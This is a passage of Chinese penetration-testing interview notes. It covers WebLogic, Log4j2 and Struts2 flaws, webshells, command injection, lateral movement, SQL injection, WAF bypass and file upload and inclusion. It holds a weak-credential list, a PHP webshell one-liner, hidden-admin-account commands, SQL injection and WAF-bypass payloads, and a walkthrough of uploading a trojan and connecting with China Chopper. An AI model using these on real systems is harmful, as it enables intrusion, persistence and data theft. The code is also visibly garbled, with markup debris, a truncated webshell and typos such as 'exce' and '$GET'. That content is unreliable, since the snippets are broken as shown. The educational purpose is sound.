Weblogic远程代码执行漏洞 CVE-2018-3191
Weblogic任意文件上传漏洞(CVE-2018-2894)
Weblogic WLS核心组件反序列化漏洞 CVE-2018-2893
Weblogic WLS Core Components 反序列化命令执行漏洞 CVE-2018-2628
WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)
Weblogic 反序列化漏洞 CVE-2017-3506
Weblogic 反序列化漏洞 CVE-2017-3248
Weblogic SSRF漏洞 CVE-2014-4210
  • Weblogic 漏洞扫描工具

安装工具:

  1. 安装依赖 python >= 3.6 pip3 install requests

  2. 下载 weblogicScanner

    https://github.com/0xn0ne/weblogicScanner

  3. 进入 weblogicScanner

  4. 举例:测试本机是否存在漏洞 python ws.py -t 127.0.0.1

问三十九:WebLogic 常用弱口令有哪些?

1
2
3
4
5
6
7
8
9
10
11
weblogic Oracl@123
weblogic weblogic
guest guest
portaladmin portaladmin
admin security
joe password
mary password
system security
wlcsystem wlcsystem
wlcsystem sipisystem
system password

问四十:简述一下Log4j2 漏洞

Apache Log4j2 是一个基于 Java 的日志记录工具。Apache Log4j 2.x <= 2.14.1 版本存在远程代码执行漏洞。 漏洞的主要原因是 log4j2 的接收器对于不可靠来源的输入没有过滤,攻击者则可以利用此特性通过该漏洞构造特殊的数据请求包,最终触发远程代码执行。由于 Log4j2 组件在处理程序日志记录时存在 JNDI 注入缺陷,未经授权的攻击者利用该漏洞,可向服务器发送恶意的数据,触发 log4j2 组件的缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。

为了输出日志时能够方便地输出任意位置的 java 对象,Log4j2 引入了一个叫 Lookup 的统一接口。这个接口允许在写日志的时候,按照具体的实现逻辑去查找对象的位置,并输出对象的内容。这里的对象通常在内存中,但由于 java 支持对象的序列化 / 反序列化,它也可以存储在硬盘文件里,甚至是远程服务器上。

我们提到的 JNDI 就是对 Lookup 接口的一种实现。其本身也是一个接口,提供了命名关键字到对象的映射目录,允许开发者提供一个名称,即可获取到对象的内容。LDAP,即轻量级目录访问协议,是 JNDI 的一种底层实现,它可以让我们方便的查询分布式数据库。既然是分布式的,LDAP 允许从远程服务器加载对象。而这里加载对象时使用的不是一般的反序列化方法,而是通过「命名引用」功能,支持直接从远程下载 class 文件并加载对象。

于是,Log4j2 中就暗含了注入漏洞:允许传入参数解析为 LDAP 协议,从远程服务器下载 class 文件并执行。这个功能本来是为了方便开发,使 java 对象位置对上层应用透明,却不料酿成大祸

问四十一:简述Struts2 漏洞

Struts2 是 apache 项目下的一个 web 框架,使用 OGNL 作为默认的表达式语言,由于 OGNL 能够创建或更改可执行代码,因此能够为使用它的任何框架引入严重的安全漏洞,多个 Apache Struts 2 版本容易受到 OGNL 安全漏洞的攻击。

问四十二:WebShell 的利用

Webshell 是黑客经常使用的一种恶意脚本,其目的是获得对服务器的执行操作权限,比如执行系统命令、窃取用户数据、删除 web 页面、修改主页等。黑客通常利用常见的漏洞,如 SQL 注入、远程文件包含 (RFI)、FTP,甚至使用跨站点脚本攻击 (XSS) 等方式作为社会工程攻击的一部分,最终达到控制网站服务器的目的。

黑客可以用 web 的方式,通过 asp 或 php 木马后门控制网站服务器,包括上传下载文件、查看数据库、执行任意程序命令等。

Webshell 可以嵌套在正常网页中运行,且不容易被查杀。它还可以穿越服务器防火墙,由于与被控制服务器或远程主机交互的数据都是通过 80 端口传递,因此不会被防火墙拦截,在没有记录流量的情况下,Webshell 使用 post 包发送,也不会被记录在系统日志中,只会在 Web 日志中记录一些数据提交的记录。

  • WebShell 的分类 ①根据文件大小分类:大马和小马 (通常指的是一句话木马,能够使用菜刀这类工具去直接连接它) ②根据脚本名称分类:jsp、asp、aspx、php

  • WebShell 的利用

    寻找页面上传点

    写好一句话木马(上传木马),比如如下的 PHP 一句话木马的代码:

    _POST['shell']); ?>

    然后寻找上传后的文件位置(绝对路径),可以用蚁剑、中国菜刀等工具连接到主机进行接下来的操作,比如提权。

  • WebShell 有哪些特征?

    • 持久化远程访问

      Webshell 脚本通常会包含后门,黑客上传 Webshell 之后,就可以充分利用 Webshell 的后门实现远程访问并控制服务器,从而达到长期控制网站服务器的目的。此外,在上传完 Webshell 之后,黑客会选择自己修复漏洞,以确保没有其他人会利用该漏洞。通过这种方式,黑客就可以一种低调的姿态,避免与管理员进行任何交互,同时仍然获得相同的结果。

  • 提权

    在服务器没有配置错误的情况下,Webshell 将在 web 服务器的用户权限下运行,而用户权限是有限的。通过 Webshell,黑客可以利用系统上的本地漏洞来实现权限提升,从而获得 Root 权限,这样黑客基本上可以在系统上做任何事情,包括安装软件、更改权限、添加和删除用户、窃取密码、阅读电子邮件等等。

  • 隐藏性极强

    Webshell 可以嵌套在正常网页中运行,且不容易被查杀。它还可以穿越服务器防火墙,由于与被控制服务器或远程主机交互的数据都是通过 80 端口传递,因此不会被防火墙拦截,在没有记录流量的情况下,Webshell 使用 post 包发送,也不会被记录在系统日志中,只会在 Web 日志中记录一些数据提交的记录。

  • WebShell 常用的 PHP 函数

    Webshell 几乎适用于所有 Web 编程语言。之所以关注 PHP,是因为它是 web 上使用最广泛的编程语言。下面是 PHP 中一些执行 shell 命令最常用的函数。

    • system()

      system () 函数将命令作为参数,并输出结果。

      下面的示例是在 Windows 操作系统上运行 dir 命令,然后返回 PHP 文件所在目录的目录列表。

      1
      2
      <?php
      echo system('ls -al');

exec()

exec () 功能是将命令作为参数,但不输出结果。

如果指定了第二个可选参数,则返回结果为数组。否则,如果回显,只显示结果的最后一行。

1
2
3
4
<?php
echo exce('ls -al');
echo exce('ls -al',$array);
var_dump($array);

shell_exec()

shell_exec () 函数类似于 exec (),但是,其整个输出结果为字符串。

1
2
<?php
echo shell_exce('ls -al');

passthru()

passthru () 执行一个命令并返回原始格式的输出。

1
2
<?php
echo passthru('ls -al');
  • proc_open()

    proc_open () 可以创建一个处理程序(流程),实现脚本和要运行的程序之间的通信。

  • 倒引号

    PHP 会首先执行 shell 命令中倒引号(`)内的内容

问四十三:序列化与反序列化

  • 序列化:把对象转化为可传输的字节序列过程称为序列化
  • 反序列化:把字节序列还原为对象的过程称为反序列

问四十四:命令执行漏洞是什么

命令执行漏洞是值攻击者可以随意执行系统命令,它属于高危漏洞之一,也属于代码执行的范畴。命令执行漏洞不仅存在 B/S 架构中,还在 C/S 架构中也常常遇到。

应用有时需要调用一些执行系统命令的函数,如 PHP 的 system 、exec、shell_exec、passthru、proc_popen 等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。

命令执行漏洞的危害

  • 继承 web 服务程序的权限去执行系统命令或读写文件
  • 反弹 Shell
  • 控制整个网站甚至控制服务器
  • 进一步内网渗透

命令执行漏洞的原理

当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如 PHP 中的 system、 exec、shell_exec 等,如果用户可以控制命令执行函数中的参数时,将可以注入恶意系统命令到正常的命令中, 造成命令执行漏洞。

在操作系统中,“&、|、||” 都可以作为命令连接符使用, 用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,从而造成漏洞。

命令执行漏洞成因

  • 代码层过滤不严格

    商业应用需要执行命令,商业应用的一些核心代码可能在二进制文件当中,在 web 应用中通过 system 函数调用。例如 system (“/bin/program —arg c194a9eg<!— begin-inline-katexarg”);

  • 系统漏洞造成命令注入

    例如 bash 破壳漏洞 (CVE-2014-6271),如果我们控制执行的 bash 的环境变量,就可以通过破壳漏洞来执行任意代码。

  • 第三方组件造成命令注入

    如 Wordpress,可以选择 ImageMagick 这个常用的 图片处理组件,处理用户上传图片时造成命令执行,如 JAVA 中 Struts2/ElasticsearchGroovy 等。

命令执行漏洞常见函数

  • System 函数的语法是: system (string $command [, int &end-inline-katex—>return_var ] )
    • 同 C 版本的 system () 函数一样
    • 本函数执行 command 参数所指定的命令,并且输出执行结果
    • 命令执行后的返回值为输出值的最后一行
    • 函数本身也会打印全部的输出值
  • Exec 函数的语法为:exec (string $command [, array &$output [, int &c194a9eg<!— begin-inline-katexreturn_var]] )
    • 这个函数的作用是执行 command 参数所指定的命令
    • 命令执行后的值为输出值的最后一行
    • 函数本身不会打印任何内容
  • Passthru 函数的语法为:passthru (string $command [, int &end-inline-katex—>return_var ] )
    • 同 exec () 函数类似
    • passthru () 函数也是用来执行外部命令 command 的
    • 当所执行的系统命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec () 或 system () 函数。
  • Shell_exec 函数的语法为: shell_exec (string $cmd)
    • cmd 是要执行的命令
    • String 是参数的数据类型,也就是字符串。
    • 函数会在命令执行完成后将全部的输出值作为字符串输入返回值,本身并不打印任何信息。
    • Shell_exec 函数的用法同反引号形同,注意是反引号(``)而不是普通单引号(’’)。

命令执行漏洞连接符

&: 顺序执行多条命令,而不管命令是否执行成功

&&: 逻辑与,当用此连接符连接多个命令时,前面的命令执行成功,才会执行后面的命令, 前面的命令执行失败,后面的命令不会执行,与 || 正好相反

|: 显示后面命令的结果

||: 逻辑或,当用此连接符连接多个命令时,前面的命令执行成功,则后面的命令不会执行。 前面的命令执行失败,后面的命令才会执行

命令执行漏洞防御

  • 不执行外部的应用程序或命令

    尽量使用自定义函数或函数库实现外部应用程序或命令的功能。在 执行 system、eval 等命令执行功能的函数前,要先确定参数内容。

  • 使用 escapeshellarg 函数处理相关参数

    Escapeshellarg 函数会将任何引起参数或命令结束的字符进行转义

  • 使用 safe_mode_exec_dir 执行可执行的文件路径

    将 php.ini 文件中的 safe_mode 设置为 On,然后将允许执行的文件放入一个目录中,并使用 safe_mode_exec_dir 指定这个可执行的文 件路径。

问四十五:Winodws 命令执行漏洞介绍

Windows 命令执行漏洞,就是在 Winodws 环境下存在的命令执行漏洞,通过相关的漏洞验证方法确认了存在命令执行漏洞后,我们可以使用 Windows 环境下的一些命令去对漏洞进行利用。

  • 通过涉及到主机探测、扫描、路由、协议、远程、进程、端口、服务等常见的 Windows 的命令
  • 如果我们的服务器是一台 Windows 操作系统,存在着命令执行漏洞
  • 我们就可以通过上面的这些漏洞进行命令执行的操作
  • 对 Windows 服务器系统进行扫描探测、进行进程和服务管理、进行内网渗透、服务器提限等

问四十六:Windows 命令执行漏洞利用**

通过以上的学习我们知道了 Windows 下的命令执行漏洞的原理以及一些利用方法,下面将列出常用到的 Windows 命令,可以利用到 Windows 命令执行的漏洞当中去。

  • ipconfig /all 查看网络连接
  • net use \ip\ipc$ “” /user:” “ 建立 IPC 空链接
  • net use \ip\ipc$ “密码” /user:”用户名” 建立 IPC 非空链接
  • net use h: \ip\c$ “密码” /user:”用户名” 直接登陆后映射对方 C:到本地为 H:
  • net use h: \ip\c$ 登陆后映射对方 C:到本地为 H:
  • net use \ip\ipc$ /del 删除 IPC 链接
  • net use h: /del 删除映射对方到本地的为 H: 的映射
  • net user guest /active:yes 激活 guest 用户
  • net user guest 12345 用 guest 用户登陆后用将密码改为 12345
  • echo 信息 >> pass.txt 将 “信息” 保存到 pass.txt 文件中

问四十七:Linux 命令执行漏洞

  • Linux 命令执行漏洞,就是在 Linux 服务器上存在的命令执行下漏洞
  • Linux 命令执行漏洞相对于 Windows 命令执行漏洞来说,利用起来更加的容易
  • 因为 Linux 的一些操作本省就是需要通过一些命令去进行管理和执行

命令在 Linux 中的执行分为 4 步:判断路径、检查别名、判断内外部、路径查找文件

问四十八:Linux 命令执行漏洞Linux 命令执行漏洞利用

  • Linux 系统下基本命令,我们注意这些命令要区分大小写
  • 通过这些命令我们可以对 Linux 下的命令执行漏洞进行利用
  • 包括系统、资源、进程、网络、用户、服务等常见的 Linux 系统命令

四、内网渗透

问四十九:内网渗透基本流程

漏洞挖掘 - 漏洞利用 - 提权准备 - 提权

img

前提是利用已经控制的一台计算机作为入侵内网的跳板,在其他内网计算机看来访问全部来自于跳板机 (WEB Server)

问五十:讲一下自己的渗透经验

查看是否存在一些高危端口,如 443 的心脏滴血,445 的永恒之蓝这两个是我知道的。如果扫到其他端口,那么可以用 metasploit 的 search 命令,去查看是否有相应的漏洞。假如说我们在内网渗透中,通过 nmap 扫到了 samba 服务,那么我们就可以去找一个最新的它的漏洞尝试攻击它。

问五十一:如何判断网站是否有 CDN?

  • 传统访问:用户访问域名 —> 解析服务器 IP—> 访问目标主机
  • 普通 CDN:用户访问域名 —>CDN 节点 —> 真实服务器 IP—> 访问目标主机
  • 带 WAF 的 CDN:用户访问域名 —>CDN 节点(云 WAF)—> 真实服务器 IP—> 访问目标主机

很简单,使用不同地方的 ping 服务,查看对应 IP 地址是否唯一,如果不唯一则极有可能是使用了 CDN

1、通过 ping 命令,查看回显情况 2、windows 系统环境下,使用 nslookup 进行查询,看返回的域名解析的情况 3、超级 ping 工具,比如”all-tool.cn/tools /ping“「看 ip 结果」

问五十二:如何判断靶标站点是 windows/linux?

1、大小写检测:windows 大小写不敏感,而 linux 大小写敏感。

2、PING 指令:根据 TTL 值,winodws 一般情况下 > 100,linux<100 TTL (生存时间值):该字段指定 IP 包被路由器丢弃之前允许通过的最大网段数量。

问五十三:如何建立隐藏用户?

1
2
1、net user test$ 123456 /add [建立隐藏用户]
2、net localgroup administrators test$ /add

问五十四:正向代理和反向代理的区别?

正向代理即是客户端代理,代理客户端,服务端不知道实际发起请求的客户端 反向代理即是服务端代理,代理服务端,客户端不知道实际提供服务的服务端

正向 Shell:攻击者连接被攻击者机器,可用于攻击者处于内网,被攻击者处于公网的情况。 反向 Shell:被攻击者主动连接攻击者,可用于攻击者处于外网,被攻击者处于内网的情况。 正向代理即是客户端代理,代理客户端,服务端不知道实际发起请求的客户端. 反向代理即是服务端代理,代理服务端,客户端不知道实际提供服务的服务端

问五十五:横向渗透命令执行手段?

psexec,wmic,smbexec,winrm,net use 共享 + 计划任务 + type 命令

问五十六:psexec 和 wmic 或者其他的区别?

psexec 会记录大量日志,wmic 不会记录下日志。wmic 更为隐蔽

问五十七:域内攻击方法有了解过吗?

MS14-068、Roasting 攻击离线爆破密码、委派攻击,非约束性委派、基于资源的约束委派、ntlm relay

问五十八:桌面有管理员会话,想要做会话劫持怎么做?

提权到 system 权限,然后去通过工具,就能够劫持任何处于已登录用户的会话,而无需获得该用户的登录凭证。

终端服务会话可以是连接状态也可以是未连接状态(这里当时没答上来,觉得有点鸡肋。我也不知道是不是这个意思)

五、其他

问五十九:OWASP Top 10

web 十大漏洞:

(1)注入

(2)失效的身份认证和会话管理 (使用别人会话 id, 包含身份信息信用卡),

(3)XSS 跨站(存储、反射、dom),

(4) 不安全的对象直接引用 (如?id=89 改成?id=90, 可以看到 id=90 的信息),

(5)伪造跨站请求(CSRF 可以在受害者毫不知情的情况下以受害者名义伪造请求发送给受攻击站点)

(6) 安全误配置,

(7) 限制 URL 访问失败(缺少功能级访问控制),

(8) 未验证的重定向和转发,

(9) 应用已知脆弱性的组件,

(10) 敏感信息泄露

问六十:XSS 和 CSRF 的区别

名称不同:一个为跨站请求伪造,一个为跨站脚本请求

危害不同:csrf 是伪造其他网站的操作,冒用身份比如利用 cookie,伪造登录凭证,无法直接窃取用户 cookie,而 xss 可以编写 payload 导致用户 cookie 直接被攻击者所窃取;

分类不同:xss 有三种分类,csrf 无分类;

问六十一:XSS 是什么

XSS 主要使用 javascript,javascript 可以非常灵活的操作 html、css 和浏览器。

XSS 就是将恶意代码注入到网页中,以达到攻击的效果。

当用户访问被 XSS 注入的网页,XSS 代码就会被提取出来 用户浏览器就会解析这段 XSS 代码,也就是说用户被攻击了 用户最简单的动作就是使用浏览器上网,并且浏览器中有 javascript 解释器, 可以解析 javascript,然而浏览器不会判断代码是否恶意。

微博、留言板、聊天室等等收集用户输入的地方, 都有遭受 XSS 的风险,只要没有对用户的输入进行严格过滤,就会被 XSS 。

问六十二:XSS 漏洞危害

  • 盗取各种用户账号
  • 窃取用户 Cookie 资料,冒充用户身份进入网站
  • 劫持用户会话,执行任意操作
  • 刷流量,执行弹窗广告
  • 传播蠕虫病毒

问六十三:XSS 漏洞类型

  • 反射型 XSS

    搜索框,用户登录

    非持久性、参数跨站脚本

    窃取用户 cookie 或进行钓鱼欺骗

  • 存储型 XSS

    留言板,评论,博客日志

    持久性跨站脚本,更具威胁性

    渗透网站、挂马、蠕虫病毒、钓鱼

  • DOM 型 XSS

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <script>
    function test(){
    var str = document.getElementById("text").value;
    document.getElementById("test").innerHTML = "<a href='"+str+"'>testLink</a>";
    }
    </script>

    <div id="test"></div>
    <input type="text" id="text" value="" />
    <input type="button" id="s" value="write" onclick="test()" />

问六十四:SQL 注入的本质

把用户输入的数据当作代码执行。

包含两个关键条件: 一:用户能够控制输入;二:原本程序要执行的代码,拼接了用户输入的数据。

问六十五:SQL 注入经常出现的地方

  • 内部实现 / 流程的角度

    url 传参、表单 post、Cookie、User-Agent、X-Forwarded-For…

  • 业务点

    新闻 / 商品等查询处、用户注册 / 登陆处、修改用户资料时、找回密码处、搜索框…

简言之:一切可以与数据库进行交互的地方。

问六十六:SQL 注入的分类

数字型、字符型、GRT 注入、POST 注入、cookie 注入、布尔盲注、时间盲注、延时注入、编码注入、联合查询注入、堆查询注入等

  • 根据数据的传输方式
    • GET 类型
    • POST 类型
    • COOKIE 类型
  • 根据数据的类型
    • 数字型
    • 字符型
  • 根据注入的模式
    • 基于联合查询的注入模式
    • 基于报错的注入模式
    • 基于布尔的盲注
    • 基于时间的盲注
    • 基于查询的注入模式

问六十七:SQL 注入的一般步骤

  • 求闭合字符
  • 选择注入模式
  • 爆数据库
  • 爆表名
  • 爆列名
  • 爆字段

问六十八:QL 注入绕过方式

大小写绕过:eg:id=-1 uniOn selEct 1,2,database()

内联注释绕过:eg:id=-1 union /!select/ 1,2,database()

双写关键字:eg:id=-1 union seselectlect 1,2,database()

特殊编码绕过:

  1. 十六进制绕过
1
2
eg:UNION SELECT 1,group_concat(column_name) from
information_schema.columns where table_name=0x61645F6C696E6B
  1. ascii 编码绕过
1
eg:Test =CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
  1. Unicode 编码

常用的几个符号的一些 Unicode 编码:

1
2
3
4
单引号: %u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7
空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9

问六十九:SQL 注入读写文件的根本条件

数据库允许导入导出(secure_file_priv)

当前用户用户文件操作权限(File_priv)

secure_file_prive 参数的设置 含义
secure_file_prive=null 限制 mysqld 不允许导入导出
secure_file_priv=/tmp/ 限制 mysqld 的导入导出只能发 生在 /tmp/ 目录下
secure_file_priv=’ ‘ 不对 mysqld 的导入导出做限制

secure_file_prive 直接在 my.ini 文件里设置即可

  • load_file () 读文件

into outfile /into dumpfile 写文件

条件:

  • 对 web 目录具有读写权限
  • 知道文件绝对路径
  • 能够使用联合查询(sql 注入时)

outfile 与 dumpfile 的区别:

  • dumpfile 适用于二进制文件,它会将目标文件 写入同一行内,outfile 则更适用于文本文件。

命令:

1
2
select load_file(‘d:/phpstudy/www/123.php’); 
select123into outfile ‘d:/phpstudy/www/123.php’;

问七十:常用的报错函数有哪些

函数名 函数名
floor() multipolygon()
updatexml() linestring()
extractvalue() ST_LatFromGeoHash()
exp() ST_LongFromGeoHash()
GeometryCollection() GTID_SUBSET()
polygon() mutipoint()
GTID_SUBTRACT() multionlinestring()
ST_PointFromGeoHash()

强烈建议: 在 concat 查询语句后面添加一个标识符,如 0x23 updatexml (1,concat (0x23,payload,0x23),1) 因为有的时候报错信息会设置长度限制,添加标识符可以避免显示不完全

问七十一:sqlmap –os-shell 原理了解吗?

sqlmap 的–os-shell 在 mysql 数据库中的原理,其实就是往服务器上写入了两个 php,其中一个给我们提供了文件上传的页面,可以通过这个上传页面上传脚本文件到当前目录下。另外一个则是返回了可以让我们执行系统命令的命令行,命令行也可以在网页 url 中通过对 cmd 参数传参执行系统命令。

问七十二:WAF 是什么

WAF 设备:绿盟 / 深信服 / 启明星辰 / 360 / 阿里云 WAF / 安全狗等

WAF 通过一组通常称为策略的规则运行。这些策略旨在通过过滤掉恶意流量来防止应用程序中的漏洞。WAF 的价值部分来自于实施策略修改的速度和便利性,从而可以更快地响应不同的攻击向量;在 DDoS 攻击期间,可以通过修改 WAF 策略快速实现限速。

三种 WAF 实现基于网络的 WAF 通常是基于硬件的。

  • 由于它们是在本地安装的,因此可以最大限度地减少延迟,但基于网络的 WAF 是最昂贵的选择,并且还需要存储和维护物理设备。

    代表产品有:Imperva、天清 WAG 等。

  • 基于主机的 WAF 可以完全集成到应用程序的软件中。

    此解决方案比基于网络的 WAF 更便宜,并且提供更多的可定制性。基于主机的 WAF 的缺点是消耗本地服务器资源、实施复杂性和维护成本,这些组件通常需要占用大量资源和时间。

    代表产品:安全狗,云锁,D 盾等。

  • 基于云的 WAF 是一种云防火墙。

    他们通常提供交钥匙安装,就像更改 DNS 以重定向流量一样简单。基于云的 WAF 还具有最低的前期成本,因为用户每月或每年为安全即服务付费。基于云的 WAF 还可以提供持续更新的解决方案,以抵御最新的威胁,而无需在用户端进行任何额外的工作或成本。基于云的 WAF 的缺点是用户将责任移交给第三方,因此 WAF 的某些功能对用户来说可能是一个黑匣子。

    代表产品有:阿里云云盾,腾讯云 WAF 等。

问七十三:WAF 的工作原理?

WAF 的处理流程大致可分为四部分:预处理、规则检测、处理模块、日志记录

  • 预处理

    预处理阶段首先在接收到数据请求流量时会先判断是否为 HTTP/HTTPS 请求,之后会查看此 URL 请求是否在白名单之内,如果该 URL 请求在白名单列表里,直接交给后端 Web 服务器进行响应处理,对于不在白名单之内的对数据包解析后进入到规则检测部分。

  • 规则检测

    每一种 WAF 产品都有自己独特的检测规则体系,解析后的数据包会进入到检测体系中进行规则匹配,检查该数据请求是否符合规则,识别出恶意攻击行为。

  • 处理模块

    针对不同的检测结果,处理模块会做出不同的安全防御动作,如果符合规则则交给后端 Web 服务器进行响应处理,对于不符合规则的请求会执行相关的阻断、记录、告警处理。不同的 WAF 产品会自定义不同的拦截警告页面,在日常渗透中我们也可以根据不同的拦截页面来辨别出网站使用了哪款 WAF 产品,从而有目的性的进行 WAF 绕过。

  • 日志记录

    WAF 在处理的过程中也会将拦截处理的日志记录下来,方便用户在后续中可以进行日志查看分析。

问七十四:绕 WAF 的多种方式

  • 字母大小写混合绕过

    原因:服务器端检测时未开启大小写不敏感

    形式:UnIon SeLecT

  • 多重关键字

    原因:服务器端检测到敏感字符时替换为空

    形式:ununionion selselectect

  • 注释

    原因:服务器端未检测或检测不严注释内的字符串

    形式:/**/,/*!*/,/*!12345*/,#,-- -

  • 编码绕过

    原因:服务器端未检测或检测不严具有编码形式的关键字

    类型:十六进制编码、URL 编码、Unicode 编码

    形式:0x61646d696e、%20、%u0020

  • 等价函数或命令

    原因:服务器端黑名单不完整,过滤不严

    形式:

    Mysql 查询:Union distinct、updatexml、Extractvalue、floor

    字符串截取函数:mid、substr、substring、left、reverse

    字符串连接函数:concat、group_concat、concat_ws

    字符串转换:char、hex、unhex

    替换逗号:limit 1 offset 0,mid(version() from 1 for 1)

    替换等号:like

  • 组合绕过

    原因:服务器端检测多处位置,需要多重绕过方式组合使用

    形式:id = 1’ and/**/’1’like’2’/**//*!12345union*/select 1,2,3

  • 特殊字符

    原因:数据库中效果相同,服务器端却没有限制

    形式:

    科学记数法 and 1e0 = 1e0

    空白字符 %0a %a0 %0b %20 %09

    反单引号 table_name

    括号 select * from (test.admin)

问七十五:文件上传

Web 应用程序通常会有文件上传的功能, 比如:在 BBS 发布图片、在个人网站上传头像、在招聘网站上发布个人的 DOCX 格式的简历等。只要是 Web 应用 程序允许上传文件,就有可能会有文件上传漏洞。 上传漏洞与其他漏洞相比风险很大,如果 Web 应用程序存在 上传漏洞,攻击者可以直接上传一个 Webshell 到服务器上, 这是相当危险的。

问七十六:文件上传后遇到重定向怎么办

这个问题说实话我没遇到过,也是学到了有可能会有这种防御手段;这其实就是网站为了防止文件上传攻击做出的防御手段,致使我们上传文件后直接跳转到其他网页

修改前端

绕过方法:前端页面 form 表单中 button 按钮默认类型 submit,修改为 button 可解决此问题

例如:将提交文件的 form 表单在浏览器控制台中中修改为 input 即可绕过

修改后端

如果是返回数据包中找不到 webshell 的路径无法连接,那就需要进行下一步,是否能跨目录传 shell,上传的 shell 没路径,是否可以通过信息收集找到 shell 路径,传 oss

问七十七:文件上传绕过方法

  • 关于文件上传其实打过 upload 的哪个靶场久很清楚了

    • 上传的 shell 不被解析怎么办:尝试文件包含
    • 服务器端文件名拓展检测 - 绕过方法
    • 文件名大小写绕过(AsP, pHp 等等)
  • 黑白名单绕过(php、php2、php3、php5、phtml、asp、aspx、 ascx、ashx、cer、asa、jsp、jspx)

  • 特殊文件名绕过

  • 修改数据包里的文件名改为 test.php. 或者 test.asp_ (下划线是空格) 由于这种命名格式在 windows 系统里是不允许的。所以在绕过上传之 后 windows 系统会自动去掉 点和空格。Unix/Linux 系统没有这个特 性。

  • 0x00 截断绕过,解析漏洞

    就是在 url 后面输入 %00

    条件: allow_url_fopen = Off php 版本 < 5.3.4

问七十八:文件包含

程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函 数时直接调用此文件,而无需再次编写,这种文件调用的过程一般被称为文件 包含。服务器执行 PHP 文件时,可以通过包含函数加载另一个文件中的 PHP 代码, 并且当 PHP 来执行,这会为开发者节省大量的时间。

产生漏洞的原因

1
2
3
<?php
$var = $GET['page'];
include($var . ".html");

这是一段 PHP 代码,从代码上分析可以看出, 把一个 GET 请求的参数 “page” 传给了一个变 量 filename,然后包含了这个变量。然而,开发者没有对 $_GET [‘page’] 参数经过严格的过滤。直接带入了 include 的函数,我们可以修改 $_GET [‘page’] 的值,包含自己想看的文件。 (文件的路径一定要对,不对的话就包含不了)

这样,我们总结一下,文件包含漏洞就是: 程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变 量,用来进行动态调用,文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意 文件,导致了执行了非预期的代码。从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。

问七十九:包含函数有那些

PHP 中文件包含函数有以下四种:

  • require () 只要程序一运行就包含文件,找不到被包含的文件时会产生致命 错误,并停止脚本
  • require_once () 若文件中代码已被包含则不会再次包含
  • include () 执行到 include 时才包含文件,找不到被包含文件时只会产生警告, 脚本将继续执行
  • include_once () 若文件中代码已被包含则不会再次包含

问八十:文件包含漏洞利用条件

  • 程序用 include () 等文件包含函数通过动态变量的范式引入需要包含的文件
  • 用户能够控制该动态变量
  • 要保证 php.ini 中 allow_url_fopen 和 allow_url_include 要为 On

问八十一:文件包含漏洞的分类

  • 本地包含

    可以包含本地文件,在条件允许时甚至能执行代码 读敏感文件,读 PHP 文件包含日志文件 GetShell 包含 data: 或 php://input 等伪协议 若有 phpinfo 则可以包含临时文件 配合上传图片马,然后包含从而 GetShell

  • 远程包含

    包含远程的木马或病毒文件,从而 GetShell

注意:要实现远程文件包含需要 allow_url_fopen 和 allow_url_include 都开启

1
2
3
<?php
$var = $GET['page'];
include($var . ".html");

在包含变量 $var 时,限制了只允许包含 “.html” 格式的文件,这就阻止了一些非法的包含其他文件的情况。

问八十二:文件包含绕过限制

绕过后面的 “. Html” 限制有很多方法可以实现

  1. %00 截断

    就是在 url 后面输入 %00

    条件: allow_url_fopen = Off php 版本 < 5.3.4

  2. 长路径截断

    条件:windows OS,点号需要长于 256;linux OS 长于 4096 windows 下目录最大长度为 256 字节,超出的部分会被丢 弃 linux 下目录最大长度为 4096 字节

  3. 点点点点点号绕过

    点号绕过的原理和长路径截断的一样: 原理是: windows 下目录最大长度为 256 字节, 超出的部分会被丢弃 linux 下目录最大长度为 4096 字节, 超出的部分会被丢弃 所以用….. 绕过的时候 windows 系统 中,点号需要长于 256 ;linux 系统 中点号要长于 4096

问八十三:开启包含功能的条件

想要开启文件包含的 功能, 首先要修改 PHP 的配置 文件(PHP.ini)把文件里的功能选项开启。

在 Linux 中 PHP.ini 配置文件一般默认安装 在 /etc 目 录 下 。 下面是 两 个 功 能选项 :

  • allow_url_fopen :

    on 默认 开 启 该选项 为 on 便 是 激活了 URL 形式 的 fopen 封装协议使得可以访问 URL 对 象文件等。

  • allow_url_include :

    off 默认关闭,该选项 为 on 便 是允许 包含 URL 对 象文件等

问八十四:自己有没有实操过文件上传配合文件包含漏洞?

发现一个上传文件页面,但只能上传图片。

我们可以利用火狐来绕过限制,首先设置浏览器的代理为 127.0.0.1 端口为 8080,然后打开 burp suite 工具待用 ,然后再次上传我们的木马文件,这时候 burp suite 工具会闪烁, 我们进入 burp suite ,发现找到了我们 刚刚发送的数据包,接下来我们需要修改一下文件格式这一选项, 把它的格式改为 image/jpeg,我们这么做的目的为了是欺骗一下服务器端的验证,让它以为是这是一个图片格式 的文件。我们点击一下 Forward , 把它放过 然后切换到浏览器,我们发现文件上传成功了。

我们先把 BP 给关掉,然后再用文件包含的方式对上传上去的文件进行访问,查看文件是否真的上传成功文件上传成功! 接下来我们使用中国菜刀连接一下我们的木马文件。

打开我们的中国菜刀,在地址栏中填上我们木马文件上传到的路径, 这里采用文件包含的形式 http://www.any.com/index.php?page=dvwa/hackable/uploads/shell.php 密码为 f

脚本类型改为 PHP,点击添加之后,双击我们的链接进入 成功获取了 shell!!!

问八十五:远程文件包含是什么?

